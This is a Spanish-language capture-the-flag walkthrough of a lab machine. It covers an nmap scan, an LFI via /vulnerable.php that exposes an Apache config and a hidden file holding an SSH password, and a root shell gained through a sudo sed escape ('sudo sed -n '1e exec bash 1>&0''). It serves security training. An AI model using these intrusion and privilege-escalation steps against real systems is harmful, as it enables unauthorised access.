Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-08 10:24 CET
Nmap scan report for 172.17.0.2
Host is up (0.000027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 cb:8f:50:db:6d:d8:d4:ac:bf:54:b0:62:12:7c:f0:01 (ECDSA)
|_ 256 ca:6b:c7:0c:2a:d6:0e:3e:ff:c4:6e:61:ac:35:db:01 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Configuraci\xC3\xB3n de Apache y Seguridad en Sitios Web
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds
Si entramos al puerto 80 veremos una pagina web normal, pero que explica la configuracion del archivo sitio.conf en la carpeta sites-available donde se guardan las configuraciones de los sitios de apache2, y tambien algo referido a un LFI por lo que vamos a realizar un poco de fuzzing.
Vemos que hay un archivo llamado /vulnerable.php por lo que podemos creer que se puede realizar un LFI, vamos a probarlo de la siguiente forma, ya que si entramos en dicho archivo veremos esto:
Please provide a page or a username.
Escalate user chocolate
Por lo que podremos deducir que el parametro sera page, lo probaremos de la siguiente forma:
<VirtualHost *:80>
ServerAdmin webmaster@tusitio.com
DocumentRoot /var/www/html
ServerName sitio.dl
ServerAlias www.sitio.dl
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
# Bloquear acceso al archivo archivitotraviesito (cuidadito cuidadin con este regalin)
# <Files "archivitotraviesito">
# Require all denied
# </Files>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Por lo que vemos hay una linea interesante:
<Files "archivitotraviesito">
Por lo que vemos puede ser un archivo que este en la web, por lo que vamos a probar a ponerlo en la URL de la siguiente forma:
URL = http://<IP>/archivitotraviesito
Veremos lo siguiente:
Muy buen, has entendido el funcionamiento de un LFI y los archivos interesantes a visualizar dentro de apache, ahora te proporciono el acceso por SSH, pero solo la password, para practicar un poco de bruteforce (para variar)
lapasswordmasmolonadelacity
Por lo que vemos nos proporciona una contraseña para algun usuario, pero como podemos ver el passwd vemos el usuario llamado chocolate, por lo que probaremos a conectarnos por SSH con dichas credenciales.
SSH
ssh chocolate@<IP>
Metemos como contraseña lapasswordmasmolonadelacity y veremos que estamos dentro.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for chocolate on 78b26188f6f1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User chocolate may run the following commands on 78b26188f6f1:
(ALL) NOPASSWD: /usr/bin/sed
Vemos que podemos ejecutar el binario sed como el usuario root, por lo que haremos lo siguiente:
sudo sed -n '1e exec bash 1>&0' /etc/hosts
Info:
root@78b26188f6f1:/home/chocolate# whoami
root
Con esto veremos que seremos root por lo que habremos terminado la maquina.
